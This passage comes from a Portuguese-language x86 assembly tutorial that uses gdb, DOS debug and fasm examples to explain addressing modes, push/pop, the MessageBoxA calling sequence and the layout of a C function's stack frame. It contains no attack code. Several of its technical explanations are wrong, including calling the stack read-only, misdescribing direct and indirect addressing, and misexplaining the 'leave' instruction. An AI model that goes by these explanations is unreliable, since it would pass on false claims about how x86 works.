instrucao sera executada quando eu continuar a execucao do programa dentro do gdb.


(gdb) x/i $eip
0x4012c1 <main+49>: leave


Veja que utilizo o cifrao ('$') para referenciar o registrador. Tambem veja que u-
tilizo o parametro 'i' (instrucion) do x/ para visualizar a instrucao em assembly
armazenada no endereco que o registrador eip aponta. Continuaremos a execucao do
programa apos a parada e sairemos do gdb.


(gdb) continue
Continuing.

Program exited with code 012.
(gdb) quit



----- Capitulo 0x07


[=] + =========================================== + [=]
-----=[ Modos de enderecamento ]=-----
[=] + =========================================== + [=]


Os modos de enderecamento sao os que vao determinar como os dados serao enderecados
pelo processador. Cada instrucao em assembly e convertida no que costumamos chamar
de opcode (Operation code - Codigo de operacao), que e a intrucao que o processador
"realmente executa", instrucoes em assembly nada mais sao do que "representacoes
legiveis"
a essas intrucoes. Quando compilamos a instrucao 'NOP' por exemplo, o
processador converte esta "representacao" no seu respectivo opcode. O opcode que
representa essa instrucao e o '90', e esta instrucao em hexadecimal (opcode) que o
processador realmente executa. Os instructions set sao convertidos em instrucoes
hexadecimais, pelo processador, que fara um enderecamento de acordo com as instru-
coes em assembly utilizadas. Basicamente existe '6' tipos de modos de enderecamento,
que sao:


1 - Register Addressing [Enderecamento registrador ]
2 - Immediate Addressing [Enderecamento imediato ]
3 - Direct Addressing [Enderecamento direto ]
4 - Indirect Addressing [Enderecamento indireto ]
5 - Basepointer Addressing [Enderecamento de ponteiro base ]
6 - Indexed Addressing [Enderecamento indexado ]


*********************************
*Register Addressing Mode - RAM *
*********************************


O modo de enderecamento registrador e composto basicamente por uma copia de dados
de um registrador para o outro, veja um exemplo:


-- example.c --

/*
*
* ---=[ Sintaxe AT&T]=---
*
* source -> destination
*
*/


main (){

__asm (

"MOVL %ebx, %eax \n" );

}

-- cut here --

Nesse exemplo, os 32 bits ([long] 4 bytes) de dados que o registrador ebx armazena
sao copiados para o registrador eax. Na sintaxe AT&T[4] utilizamos a notacao per-
centual ('%') para referenciarmos os registradores.


**********************************
*Immediate Addressing mode - IAM *
**********************************


Com o modo de enderecamento imediato nos nao "referenciamos" valores, mas sim de-
claramos valores imediatos em si. Nos podemos declarar valores imediatos em hexa-
decimal, ou em decimal. Como em C e assembly para referenciarmos valores hexade-
cimais precisamos utilizar a notacao 0x seguida do valor propriamente dito, esse
valor por sua vez pode ser endereco de memoria ou apenas um numero qualquer. Veja
um exemplo do modo de enderecamento imediato:


main (){

__asm (

"MOVL $0x0A, %eax \n" );

}


Repare que o valor hexadecimal 0A (10 em decimal) foi denotado com o cifrao '$'
que e utilizado para referenciar o valor imediato que sera copiado para o re-
gistrador eax. Para passarmos valores decimais obviamente que bastaria que nao
utilizemos a notacao de valores hexadecimais ('0x'). Exemplo: $10 . Mas como o
processador trabalha com numeros hexadecimais voce vera o 0x'a' ao invez de dez
quando disassemblar.

(...)

0x4012be <main+46>: mov $0xa,%eax

(...)


*******************************
*Direct Addressing Mode - DAM *
*******************************


O modo de enderecamento direto e o padrao, com este metodo referenciamos enderecos
de memoria. Todos os valores passados sao em hexadecimal, pois e a base numerica
usada nesse nivel de programacao.

Exemplo I


-- dam.c --

main (){

__asm (

"MOVL 0x00000010, %eax \n" );

}

-- cut --


Repare que para referenciar enderecos de memoria nao utilizamos o cifrao, pois
estamos trabalhando no nivel de processador (hexadecimal).


Exemplo II


-- dam_sampleII.c --

main (){

char buffer1[4], buffer2[]="fox";

strcpy (buffer1, buffer2);

__asm (

"NOP; NOP; NOP; NOP \n"
"MOV 0x00000010, %eax "
);

}

-- cut --


C:\Documents and Settings\David\Desktop>gdb dam_sampleII.exe -q
(gdb) disass main
Dump of assembler code for function main:

(...)

0x4012ba <main+42>: mov 0x403000,%eax <---------- DAM
0x4012bf <main+47>: mov %eax,0xfffffff8(%ebp)
0x4012c2 <main+50>: lea 0xfffffff8(%ebp),%eax

(...)

0x4012d4 <main+68>: nop
0x4012d5 <main+69>: nop
---Type <return> to continue, or q <return> to quit---
0x4012d6 <main+70>: nop
0x4012d7 <main+71>: nop
0x4012d8 <main+72>: mov 0x10,%eax <----------
0x4012dd <main+77>: leave


O que caracteriza esse modo de enderecamente e a nao utilizacao de nenhum sinal
especial, como referencias a ebp. Ele basicamente pega um endereco de memoria e
copia para um registrador. Vale ressaltar que voce nao pode copiar um endereco
de memoria para outro endereco diretamente.


=================
Um detalhe segue
=================


Setaremos um breakpoint na instrucao seguinte a que copia o endereco de memoria que
contem a string "fox" para o registrador eax, ou seja, a instrucao 47 de main.


0x4012ba <main+42>: mov 0x403000,%eax

A string esta armazenada no endereco de memoria 0x'403000'. Setaremos o breakpoint na
proxima instrucao:


(gdb) break *main+47
Breakpoint 1 at 0x4012bf: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 3.


Executo o programa:


(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe

Breakpoint 1, 0x004012bf in main ()
at C:/Documents and Settings/David/Desktop/dam_sampleII.c:3
3 char buffer1[4], buffer2[]="fox";


O programa parou, agora veremos se a string realmente esta contida no endereco de
memoria 0x'403000':


(gdb) x/s 0x403000
0x403000 <_data_end__+4032>: "fox"


Esta. Bem, voce viu que na instrucao anterior a parada, os dados sao copiados para o
registrador eax, mas nos nao podemos fazer a leitura desses dados ("Enderecados pelo
modo de enderecamento direto"
) quando os mesmos estao no registrador eax "logo apos"
a copia dos dados usando o modo de enderecamento direto.


(gdb) i r eax
eax 0x786f66 7892838
(gdb) x/s 0x786f66
0x786f66: <Address 0x786f66 out of bounds>


Para lermos o valor que esta armazenado no endereco de memoria que eax guarda, devemos
primeiramente fazer o sistema copiar os dados armazenados no registrador 'eax', para a
stack, depois que o mesmo estiver "apontando" para esses dados "na stack", e que pode-
mos fazer a leitura do endereco de memoria apontado/guardado "no eax".



0x4012bf <main+47>: mov %eax,0xfffffff8(%ebp) <-- Move o valor de eax para a stack
0x4012c2 <main+50>: lea 0xfffffff8(%ebp),%eax <-- Faz eax armazenar o endereco da
string, na stack.


Variaveis locais sao alocadas na stack, no caso temos duas variaveis locais neste
programa acima, que sao:


char buffer1[4], buffer2[]="fox";


Veja que ebp referencia a stack, este modo de enderecamento sera citado adiante.
Repare que na instrucao 47 os dados (str) foram copiados para a stack (leia sobre
a mesma no capitulo abaixo) e na instrucao 50 eax aponta (armazena) o "endereco"
da stack no qual esta contida nossa string. Agora se setarmos um breakpoint na
proxima instrucao, podemos visualizar os dados armazenados no endereco de memoria
que eax guarda, que e o endereco da string na stack. Vamos testar. Primeiramente
setaremos um ponto de parada na instrucao 53 de main e iniciamos o programa.


(gdb) break *main+53
Breakpoint 1 at 0x4012c5: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 5.
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe

Breakpoint 1, 0x004012c5 in main ()
at C:/Documents and Settings/David/Desktop/dam_sampleII.c:5
5 strcpy (buffer1, buffer2);


Agora que o programa parou veremos o endereco que eax armazena:

(gdb) i r eax
eax 0x22ff70 2293616


O endereco 0x22ff70 e um endereco referente a uma parte da stack/pilha. Veremos
agora se esse endereco e o da string.


(gdb) x/s 0x22ff70
0x22ff70: "fox"


Perfeito. Isso foi apenas uma base para voce entender melhor o proximo capitulo.
No qual falo sobre o funcionamento da stack (O que e e como funciona). Nos tam-
bem podemos ler determinados bytes da string na stack. Para isso basta nao espe-
cificarmos o endereco inicial de uma string armazenada na memoria (Final '0'). A
string fox\0 possui 3 caracteres e o NULL byte, 4 caracteres, entao se eu quiser
visualizar a letra 'x' utilizo a seguinte sintaxe:


(gdb) x/s 0x22ff72
0x22ff72: "x"

Tendo em vista que:

0x22ff70 -> f
0x22ff71 -> 0
0x22ff72 -> x
0x22ff73 -> \0

Se especificarmos um endereco, o gdb nos mostrara tudo que existe deste ponto,
para frente.

(gdb) x/s 0x22ff71
0x22ff71: "ox"

Claro que os dados devem ser pertencentes ao mesmo bloco. Bloco esse que eh
iniciado com 0 e terminada no NULL byte (O terminador de string - '\0').


**********************************
* Indirect Addressing Mode - IAM *
**********************************


Este sem duvida e o modo de enderecamente mais facil de ser entendido. Ele consiste
em representarmos um endereco de memoria atraves de um registrador entre parenteses
na origiem da sintaxe utilizada, assim copiando tal endereco para o registrador de
destino. Veja um melhor exemplo deste modo:

-- cut --

main (){

__asm (

"MOVL 0x00000005, %eax \n"
"MOVL (%eax),%ebx \n" );

}

-- cut --


[1] - 0x4012ba <main+42>: mov 0x5,%eax <--- Direct Addressing Mode
[2] - 0x4012bf <main+47>: mov (%eax),%ebx <--- Indirect Addressing Mode


1 - Modo de enderecamento direto utilizado para a copia do endereco 0x00000005 para
o registrador eax.

2 - Modo de enderecamento indireto. O endereco anteriormente copiado para o regis-
trador eax agora sera copiado para o registrador ebx. Veja que eax esta entre
parenteses, isso faz uma copia DO VALOR ARMAZENADO NELE (0x00000005) para ebx.


*************************************
* Basepointer Addressing Mode - BAM *
*************************************


O modo de enderecamento de ponteiro base utiliza um endereco base armazenado em um
registrador (ebx - Extended base, registrador base nesse caso) e um offset para cal-
cular um endereco real. Antes dos dados serem movidos o deslocamento (offset) e inse-
rido ao endereco base e o resultado final e retornado para o destino da sintaxe
utilizada, assim ao termino desta operacao o endereco direto para o valor requerido
e entao encontrado. Esse modo de enderecamento e semelhante ao IAM, pois tambem e uti-
lizado o valor de um registrador entre parenteses (Endereco Base) para passar um va-
lor indiretamente. A unica diferenca deste metodo para o outro e a ja falada insercao
de um offset e o metodo que este deve ser especificado, ou seja, o mesmo devera fi-
car antes do registrador que armazena o endereco base.


Exemplo:


-- BPAM.c --

main (){

__asm (

"MOVL 0x00000005, %ebx \n"
"MOVL 4(%ebx),%eax \n" );

}

-- cut --


[1] - 0x4012ba <main+42>: mov 0x5,%ebx
[2] - 0x4012c0 <main+48>: mov 0x4(%ebx),%eax


1 - Move o endereco 0x00000005 para ebx.

2 - O offset (0x04) e adicionado ao endereco base (0x00000005) armazenado em ebx
e assim formando o valor 0x00000009 e movendo-o para o registrador eax. Entao
o endereco real/absoluto e 0x00000009.


***********************************
* Indexed Addressing Mode - IDAM *
***********************************


Utilizando esse metodo para se encontrar o endereco absoluto sao utilizados tres
valores, que sao: Um 'endereco de memoria', um 'registrador' e um 'multiplicador'.
O valor armazenado no index register e multiplicado por um numero, depois esse re-
sultado e adicionado ao endereco de memoria e logo em seguida este valor e final-
mente retornado. Um exemplo:


-- IDAM.c --

main (){

__asm (

"MOV $3, %ebx \n"
"MOV 0x000008 (,%ebx,2), %eax \n");

}

-- cut --


[1] - 0x4012ba <main+42>: mov $0x3,%ebx
[2] - 0x4012bf <main+47>: mov 0x8(,%ebx,2),%eax


1 - E copiado o valor 0x03 para o registrador ebx .

2 - O valor do index register ebx (0x'00000003') e multiplicado por '2', nesse caso, ou
seja, 0x00000003 * 2, e logo em seguida o resultado (0x00000006) e "adicionado" ao
endereco de memoria (0x00000008). O resultado final desta operacao e: 0x0000000E.
0x0E em hexadecimal corresponde a 14 em decimal, 14 e o resultado de 8 + 6.


Um detalhe que nao podemos esquecer e que, o resultado da multiplicacao do index register
por um numero deve retornar sempre um numero hexadecimal. Exemplo:


MOV 0x05, %ebx <--- 0x05 e copiado para ebx
MOV 0x00000000 (,%ebx, 4), %eax <--- Leia abaixo


O detalhe vem agora, veja que o resultado de cinco vezes quatro e igual a 20 EM DECIMAL,
mas com esse modo de enderecamento e com todos os outros, nao podemos retornar valores
decimais por que estavamos no nivel de programacao do micro-processador, ou seja, estamos
mechendo com a memoria do sistema, portanto devemos utilizar numero hexadecimais para tudo
"neste nivel". Entao o resultado que sera MOVido para o registrador acumulador (eax) e o
0x00000014 (Tendo em vista que o endereco base e 0x00000000), pois 0x14 equivale a 20 em
decimal, resultado esse de 5 vezes 4. Voce vera logo mais que apenas dois valores sao re-
almente necessarios neste modo de enderecamento. Exemplo:

movl $0x0,(%esp,1)


----- Capitulo 0x07


[=] + =========================================== + [=]
---=[ Funcionamento basico da stack ]=---
[=] + =========================================== + [=]



A stack, ou "pilha" (em portugues) e utilizada para varias coisas na execucao de
um programa, como por exemplo: Armazenar endereco de retorno (Falarei adiante) e
passar parametros para as subrotinas. Todas as variaveis locais sao armazenadas
na 'stack'. As instrucoes utilizadas para manipulacao da stack sao:


PUSH ---> EMPURRA DADOS SOBRE A PILHA. Nao se esqueca de que o re-
gistrador que aponta para o topo da pilha/stack e o esp
(extended stack pointer).

POP ---> "RETIRA" ESSES DADOS DO TOPO DO STACK E INSERE OS MESMOS
SOBRE ALGUM REGISTRADOR ESPECIFICADO POR NOS. Esses dados
nao sao literalmente retirados, pois a pilha e marcada como
somente leitura. O que acontece e que o registrador esp nao
aponta mais para esse endereco "retirado" da stack.


==================================
Exemplos das instrucoes push e pop
==================================


C:\Documents and Settings\David>debug
-A
0D3C:0100 MOV CH,10 ; Depois da instrucao: CX = 1000
0D3C:0102 PUSH CX ; Empura o valor '1000' para o topo da stack/pilha.
0D3C:0103 POP DX ; "Retira" esses dados da stack e copia para o register DX.
0D3C:0104 POP AX ; A stack nao armazena mais 1000, portanto nao copia 1000.


-t <-- Executa a primeira instrucao, a que esta no endereco 0100.

======= ======= CX=1000 DX=0000 ======= ======= ======= =======
======= ======= ======= ======= IP=0102 NV UP EI PL NZ NA PO NC
0D3C:0102 51 PUSH CX

-t <-- Executa a instrucao que joga o valor de CX para o topo do stack

======= ======= CX=1000 DX=0000 ======= ======= ======= =======
======= ======= ======= ======= IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 5A POP DX

-t <-- Executa a instrucao que "retira" esses dados da stack e copia para DX

AX=0000 ======= CX=1000 DX=1000 ======= ======= ======= =======
======= ======= ======= ======= IP=0104 NV UP EI PL NZ NA PO NC
0D3C:0104 58 POP AX
-q


Nao executei a ultima instrucao, mas o resultado e "0000" nesse caso, pois depois
do primeiro POP, a stack nao guarda mais o valor 1000, portanto AX continuaria 0.
A stack funciona no esquema que costumamos chamar de LIFO - Last in First Out, que
significa: O ultimo dentro, primeiro fora. A stack/pilha recebe esse nome justa-
mente por trabalhar dessa maneira. Imagine uma pilha de CD's (chega de prato ;),
voce empilha seus CD's um sobre o outro, o ultimo 'CD' que voce coloca no topo da
pilha e o primeiro que voce retira. E assim que funciona a stack, o ultimo parame-
tro empurrado no topo do stack, e o primeiro parametro que a syscall pegara. Todas
as vezes que uma funcao/syscall e chamada essa mesma syscall pega os parametros
passados para seus argumentos, da pilha, ou seja, esses dados sao previamente
empilhados em tempo de execucao sobre o stack, e pegos na execucao da syscall.

Vejam esse codigo fonte:


-- msg.c --

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

main (){

MessageBoxA (0, "Text", "Title", 64);
exit (0);
}

-- cut --


A funcao MessageBoxA exibe uma mensagem em uma caixa de dialogo. Seus parametros
correspondem a: Dono da janela (0), texto da mensagem ("Text"), titutlo ("Title")
da janela e estilo de mensagem (64 = OK). Em tempo de execucao este programa em-
pilhara os respectivos argumentos desta funcao e chamara ("call") o endereco de
memoria onde esta armazenado a funcao MessageBoxA. Apos essa chamada a funcao, o
ultimo dado empilhado, sera o primeiro retirado. Veja esse exemplo para uma me-
lhor compreensao:


int MessageBox (

HWND hWnd, // handle do dono da janela
LPCTSTR lpText, // Endereco do texto
LPCTSTR lpCaption, // Endereco do titulo
UINT uType // Estilo da caixa de mensagem

);


MessageBoxA no stack


+==============+
| 64 | ---> Primeiro dado empilhado
|--------------|
| "title" | ---> Segundo dado empilhado
|--------------|
| "text" | ---> Terceiro dado empilhado
|--------------|
| NULL (0) | ---> Quarto dado empilhado
+--------------+

call [Endereco da funcao MessageBoxA]


Quando a funcao MessageBoxA e chamada (call) ela pegara primeiramente o ultimo dado
empilhado, no nosso caso o 0 (dono da janela), depois o texto da caixa de dialogo,
titulo da janela e o estilo de janela (64), assim exibindo a caixa de dialogo pro-
priamente dita. Em asm (Assembly) seria essa uma representacao ideal:


(...)

1 - PUSH 64 ; Empurra 64 (Estilo de janela) no topo do stack
2 - PUSH title ; Titulo da janela.
3 - PUSH text ; Empurra o texto no topo do stack.
4 - PUSH 0 ; Dono da janela.

call 0x77D46476 ; Chama a funcao armazenada neste endereco.

(...)


Quando a funcao e chamada ela pegara o ultimo valor empilhado, 4, depois 3, 2 e 1 e
assim consequentemente lhe apresentando a caixa de dialogo.


ExitProcess

(...)

PUSH 0 ; Empurra o status de saida sobre o topo do stack.
call 0x77E698FD ; Chama a funcao que termina a execucao do programa.


Quando a instrucao call e chamada o endereco da proxima instrucao e posto
no topo da stack. O exemplo que segue sera muito util para seu aprendiza-
do. Escrevi esse programa em assembly e compilei o mesmo com o fasm.


-- cut --

format PE GUI 4.0

include "c:\fasmw16727 (windows)\include\WIN32AX.INC"

start: ; Marca o inicio dos codigos

jmp hey ; Pula para o rotulo hey

chama:
pop ebx

invoke MessageBox,0,ebx, "Title",0
invoke exit,0

hey:
call chama
nome db '6_Bl4ck9_f0x6',0

; Importa as API's que contem as funcoes utilizadas no programa

data import

library kernel32, 'KERNEL32.DLL', user32, 'user32.dll'

; Importa as funcoes contidas nessas API's

import kernel32, exit, 'ExitProcess'
import user32, MessageBox, 'MessageBoxA'

end data

-- cut --


Comentarei o que e realmente importante.

call chama
nome db '6_Bl4ck9_f0x6',0

Veja que a instrucao call chama o rotulo "chama", ou seja, o fluxo do programa
segue desse ponto em diante, a 'proxima instrucao' apos a chamada do rotulo e
entao posta no topo da stack, ou seja, a variavel 'nome' que armazena a string
"6_Bl4ck9_f0x6" e empilhada. O db ali esta marcando que esta variavel armazena
caracteres, e como se fosse uma 'char' em C.

pop ebx

Retira os dados empilhados sobre a stack (A "string") e copia os mesmos para o
registrador ebx.

invoke MessageBox,0,ebx, "Title",0
invoke exit,0

Agora veja que interessante, repare que o segundo argumento da funcao MessageBox
e justamente o registrador 'ebx', que esta armazenando os dados anteriormente em-
pilhados, ou seja a string. O invoke chama uma funcao, nesse sao chamadas as fun-
coes MessageBox e ExitProcess (representado por 'exit' no codigo).


Vamos manipular o gdb agora:


C:\Documents and Settings\David>gdb msg.exe -q
(gdb) list
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <windows.h>
4
5 main (){
6
7 MessageBoxA (0, "Text", "Title", 64);
8 exit (0);
9 }
10
(gdb) q

C:\Documents and Settings\David>


Como voce ja sabe o comando "list" nos mostra os symbols do programa. Caso queira
visualizar mais linhas de codigo no seu programa, basta que repita o comando list,
se quiser voltar para as primeiras linhas digite list 0. Repare que cada symbol
possui um numero de identificacao, que pode ser visto a sua esquerda. Disassembla-
remos agora a funcao principal ('main()').


C:\Documents and Settings\David>gdb msg.exe -q
(gdb) disassemble main
Dump of assembler code for function main:
0x401290 <main>: push %ebp
0x401291 <main+1>: mov %esp,%ebp
0x401293 <main+3>: sub $0x18,%esp
0x401296 <main+6>: and $0xfffffff0,%esp
0x401299 <main+9>: mov $0x0,%eax
0x40129e <main+14>: add $0xf,%eax
0x4012a1 <main+17>: add $0xf,%eax
0x4012a4 <main+20>: shr $0x4,%eax
0x4012a7 <main+23>: shl $0x4,%eax
0x4012aa <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012ad <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012b0 <main+32>: call 0x401730 <_alloca>
0x4012b5 <main+37>: call 0x4013d0 <__main>
0x4012ba <main+42>: movl $0x40,0xc(%esp,1) <-- Estilo de janela
0x4012c2 <main+50>: movl $0x403000,0x8(%esp,1) <-- Titulo
0x4012ca <main+58>: movl $0x403006,0x4(%esp,1) <-- Texto
0x4012d2 <main+66>: movl $0x0,(%esp,1) <-- Dono da janela
0x4012d9 <main+73>: call 0x401880 <MessageBoxA@16> <-- Chamada da funcao
0x4012de <main+78>: sub $0x10,%esp
0x4012e1 <main+81>: movl $0x0,(%esp,1)
0x4012e8 <main+88>: call 0x401820 <exit>
End of assembler dump.
(gdb) q

C:\Documents and Settings\David>


O leitor astuto percebera que existe 0x40 ao inves de 64. Isso se deve ao fato de
que o processador trabalha com a base numerica hexadecimal. 0x40 e equivalente a
64 em decimal.

(...)

0x4012ba <main+42>: movl $0x40,0xc(%esp,1) <-- Estilo de janela
0x4012c2 <main+50>: movl $0x403000,0x8(%esp,1) <-- Titulo
0x4012ca <main+58>: movl $0x403006,0x4(%esp,1) <-- Texto
0x4012d2 <main+66>: movl $0x0,(%esp,1) <-- Dono da janela
0x4012d9 <main+73>: call 0x401880 <MessageBoxA@16> <-- Chamada da funcao

(...)


Como voce pode ver o estilo de janela e inserido primeiramente sobre a stack, seguido
do endereco de memoria onde esta localizado o titulo da caixa de mensagem, texto da
mensagem e logo apos o dono da janela. Na instrucao de endereco 0x4012d9 a instrucao
call chamara o endereco 0x401880 no qual "executara" a funcao MessageBoxA, que pega-
ra seus parametros previamente empilhados sobre a stack. Agora, duas resalvas devem
ser feitas: Esta sintaxe e a 'AT&T', ou seja, a origem e o lado esquerdo e o destino
o lado direito. A outra ressalva e sobre a "nao utilizacao" na instrucao PUSH, para
empilhamento de dados sobre a stack, ao contrario disto, os dados sao movidos para o
stack pointer (apontado por esp) com a instrucao movl (move long) e com o metodo de
enderecamento indexed. Para ver as strings armazenadas nos enderecos de memoria co-
piados para a stack, use o /s como sempre ;)


(gdb) x/s 0x403000
0x403000 <_data_end__+4032>: "Title"
(gdb) x/s 0x403000+6
0x403006 <_data_end__+4038>: "Text"
(gdb) q


Com o sinal de + seguido do numero 6 estou dizendo que desejo que o gdb me mostre
a string armazenada 6 bytes apos o endereco 0x403000, pois e onde se inicia o ou-
tro vetor de caracteres. Tambem poderia ter utilizado a sintaxe x/s 0x403006, di-
retamente. A stack no windows esta armazenada em enderecos baixos e ela possui um
esquema de enderecamento que cosiste em crescer de cima para baixo e de '4' em '4'
bytes. Extended Stack Pointer (esp) = 0006FFC4 <---


+=====================+
| Endereco | Valor ||
+=====================||
| ||
| 0006FFC4 77E714C7 ||
| 0006FFC8 FFFFFFFF ||
| 0006FFCC 77F5166A ||
| 0006FFD0 7FFDF000 ||
| 0006FFD4 F0909CF0 ||
| 0006FFD8 0006FFC8 ||
| ||
+======================+


Instrucoes que manipulam a stack

PUSH $5 ; Empurra o valor 5 na stack
PUSH $9 ; Empurra o valor 9 na stack
PUSH $10 ; Empurra o valor 10
PUSH $11 ; Empurra o valor 11

Veja a pilha logo apos essas instrucoes


+=====================+
| Endereco | Valor |
+=====================+
4 <-----> 0006FFB4 | 0000000B <-----> 11
8 <-----> 0006FFB8 | 0000000A <-----> 10
C <-----> 0006FFBC | 00000009 <-----> 9
0 <-----> 0006FFC0 | 00000005 <-----> 5
| 0006FFC4 | 77E714C7 |
| 0006FFC8 | FFFFFFFF |

 
| 0006FFCC | 77F5166A |
| 0006FFD0 | 7FFDF000 |
| 0006FFD4 | F0909CF0 |
| 0006FFD8 | 0006FFC8 |
+=====================+
| esp = 0x0006FFB4 |
+=====================+


----- Capitulo 0x07


[=] + =========================================== + [=]
---=[ O stack frame ]=---
[=] + =========================================== + [=]


O "termo" 'stack frame' nada mais e que uma representacao de um dos estados de um
programa montado na memoria em run-time - Tempo de execucao (claro). Veremos agora
como e composto um stack frame de uma funcao dentro de um programa escrito em C.


C:\Documents and Settings\David>gdb stack_frame.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) list
1 int function (int a, int b, int c){
2
3 char buffer[16];
4
5 }
6
7 main (){
8
9 function (1, 2, 3);
10
(gdb) list
11 }


Disassemblamos a funcao principal

(gdb) disass main
Dump of assembler code for function main:
0x401298 <main>: push %ebp
0x401299 <main+1>: mov %esp,%ebp
0x40129b <main+3>: sub $0x18,%esp
0x40129e <main+6>: and $0xfffffff0,%esp
0x4012a1 <main+9>: mov $0x0,%eax
0x4012a6 <main+14>: add $0xf,%eax
0x4012a9 <main+17>: add $0xf,%eax
0x4012ac <main+20>: shr $0x4,%eax
0x4012af <main+23>: shl $0x4,%eax
0x4012b2 <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012b5 <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012b8 <main+32>: call 0x401720 <_alloca>
0x4012bd <main+37>: call 0x4013c0 <__main>
0x4012c2 <main+42>: movl $0x3,0x8(%esp,1)
0x4012ca <main+50>: movl $0x2,0x4(%esp,1)
0x4012d2 <main+58>: movl $0x1,(%esp,1)
0x4012d9 <main+65>: call 0x401290 <function> <---- Chama a "function"
0x4012de <main+70>: leave <---- Endereco de retorno
0x4012df <main+71>: ret
End of assembler dump.
(gdb) q



Veremos o stack frame da funcao "function" mostrada acima.


(gdb) disassemble function
Dump of assembler code for function function:
0x401290 <function>: push %ebp
0x401291 <function+1>: mov %esp,%ebp
0x401293 <function+3>: sub $0x18,%esp
0x401296 <function+6>: leave
0x401297 <function+7>: ret
End of assembler dump.
(gdb)


Neste exemplo utilizo o "symbol" function para representar a parte do programa que
queremos ver disassemblada, ou seja, que queremos ver as instrucoes, mas eu tambem
poderia utilizar aquele endereco ao lado da instrucao call (disassemble 0x401290).
Repare bem nessas instrucoes, pois elas que serao as utilizadas para a criacao e a
destruicao do stack frame. Para ser mais especifico as tres primeiras instrucoes
criam o stack frame de uma funcao qualquer, as duas ultimas instrucoes por sua vez,
destroem o stack frame de uma funcao. Vejamos agora um diagrama deste programa mon-
tado na memoria, ou seja, veremos seu stack frame.


---=[ Stack frame de uma funcao ]=---


+----------------+
| buffer[0] | --> Topo da stack (esp)
^ +----------------+
| | buffer[1] |
| +----------------+
| | buffer[2] |
| +----------------+
| | buffer[3]... |
| +----------------+
| | |
| | Dummy (8 bytes)|
| | |
| +----------------+
| | SFP | --> Stack Frame Pointer
| | | --> ebp - Extended Base pointer (referencia dados na stack)
| +----------------+
| | RETURN ADDRESS | --> Endereco da proxima instrucao apos a chamada da funcao.
+----------------+
| a (1) | < ------+
+----------------+ |
| b (2) | > Argumentos. function (int a, int b, int c);
+----------------+ |
| c (3) | < ------+
+----------------+


1 - Os argumentos da funcao sao alocados na memoria em ordem inversa. Nesse caso o
primeiro dado a ser inserido no stack frame e o valor da variavel c, depois b,
depois a.

2 - O endereco da proxima instrucao apos a chamada da funcao "function" e posto na
area "Return address" no stack frame, para o programa saber onde ele tem que
retornar apos o encerramento da funcao.

3 - SFP - Stack Frame Pointer aponta para a base do stack frame. O ebp e o regis-
trador utilizado para fazer referencias aos dados no stack frame.

4 - O espaco para as variaveis locais e reservado na stack/pilha. Lembrando que o
gcc tambem cria bytes de "alinhamento" na "area buffer" do stack frame.


==================================
= Se aprofundando no stack frame =
==================================


Como citei anteriormente, existe 5 instrucoes em assembly contidas em todas as funcoes
de um programa, as 3 primeiras correspondem ao "Prologo", a construcao do stack frame,
as duas ultimas correspondem ao "Epilogo", a destruicao do stack frame.


O Prologo

[1] - 0x401290 <function>: push %ebp
[2] - 0x401291 <function+1>: mov %esp,%ebp
[3] - 0x401293 <function+3>: sub $0x18,%esp

O Epilogo

[4] - 0x401296 <function+6>: leave
[5] - 0x401297 <function+7>: ret


=====================
Definhando o prologo
=====================


1) - O stack frame (registrador ebp) e empilhado. Como ja citei, e atraves deste
registrador especial que o programa faz referencias aos dados das variaveis
locais de uma funcao, nesse caso da funcao "function".

2) - Como voce ja sabe, quando main chama uma funcao, o endereco da proxima instru-
cao e posto na stack, disassemble a funcao main e veja a chamada a "function".

0x4012d9 <main+65>: call 0x401290 <function>

Veja que o programa faz uma chamada exatamente ao endereco inicial desta fun-
cao. E o endereco de memoria desta instrucao que e posto no topo da stack:

0x4012de <main+70>: leave

Este endereco fica armazenado na parte RETURN Address do stack frame, ele e
referenciado pelo registrador esp. Repare que o 0x'4012de' nao passa de um
endereco de memoria virtual. O leitor astuto percebera que houve uma copia
dos dados do esp (endereco de retorno) para ebp.

3) - E reservado um numero de bytes para alocar as variaveis locais. Nesse caso a
variavel local buffer reserva 16 bytes na stack, a funcao sub subtrai o va-
lor de um registrador, nesse caso o esp vai ser subtraido em 0x18 bytes assim
reservando 24 bytes em decimal p/ alocar as variaveis locais. Voce agora deve
estar se perguntando: Como? Se 0x18 em hexadecimal equivale a 24 em decimal?
A resposta e simples, o gcc reserva 8 bytes em todas as funcoes de um pro-
grama em C, o conjunto desses bytes adicionais sao chamados de dummy. Entao
ja temos o valor total:

16 (buffer) + 8 (dummy) = 24

24 em decimal corresponde a 0x18 em hexadecimal. Vale ressaltar que algumas
vezes o compilador gcc utiliza "alinhamentos extra" na construcao do stack
frame, mas nao foi o caso aqui. Comprove a existencia do dummy, compile esse
codigo:


-- cut --

main (){ }

-- cut --

Veja que apenas declaro a funcao principal e mais nada. Agora olhe o resultado:

(...)

(gdb) disass main
Dump of assembler code for function main:
0x401290 <main>: push %ebp
0x401291 <main+1>: mov %esp,%ebp
0x401293 <main+3>: sub $0x8,%esp <--- Veja o dummy aqui.

(...)

Perceba que apenas o espaco para o dummy da funcao principal foi reservado.


=====================
Definhando o epilogo
=====================


4) - A instrucao leave e composta basicamente por duas instrucoes:

MOV ebp, esp <----- Move o endereco de retorno anteriormente copiado para ebp
de volta para o esp.

POP ebp <----- Remove o SFP (ebp) do stack frame, assim destruindo-o.


5) - A instrucao ret move o endereco de retorno apontado por esp para o registrador
'eip' assim fazendo o programa continuar seu fluxo normal, executando a ins-
trucao depois da chamada a funcao "function". Lembre-se que o registrador eip
aponta para a proxima instrucao a ser executada.


Veja um diagrama do stack frame da funcao principal com dois argumento.


main(int argc, char *argv[]){


+----------------+
|char buffer[28];| <--- O topo aponta para buffer[0];
+----------------+
| dummy (8 bytes)| <--- Dummy da funcao main
+----------------+
